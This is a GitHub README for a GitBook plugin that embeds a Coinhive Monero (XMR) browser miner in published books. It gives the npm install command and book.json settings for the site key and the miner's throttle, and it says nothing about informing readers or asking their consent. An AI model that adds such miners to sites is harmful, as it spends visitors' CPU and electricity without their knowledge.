Skip to content

Latest commit

 

History

History
46 lines (36 loc) · 811 Bytes

README.md

File metadata and controls

46 lines (36 loc) · 811 Bytes

XMR for GitBook

You can use install it via NPM:

$ npm install gitbook-plugin-xmr

And use it for your book with in the book.json:

{
    "plugins": ["xmr"]
}

You can set the site key of https://coinhive.com using the plugins configuration in the book.json:

{
    "plugins": ["xmr"],
    "pluginsConfig": {
        "xmr": {
            "siteKey": "YOUR-SITE-KEY"
        }
    }
}

You can also set the throttle of the miner:

{
    "plugins": ["xmr"],
    "pluginsConfig": {
        "xmr": {
            "siteKey": "YOUR-SITE-KEY",
            "throttle": 0.3
        }
    }
}

For an overview of the miner, please refer to the website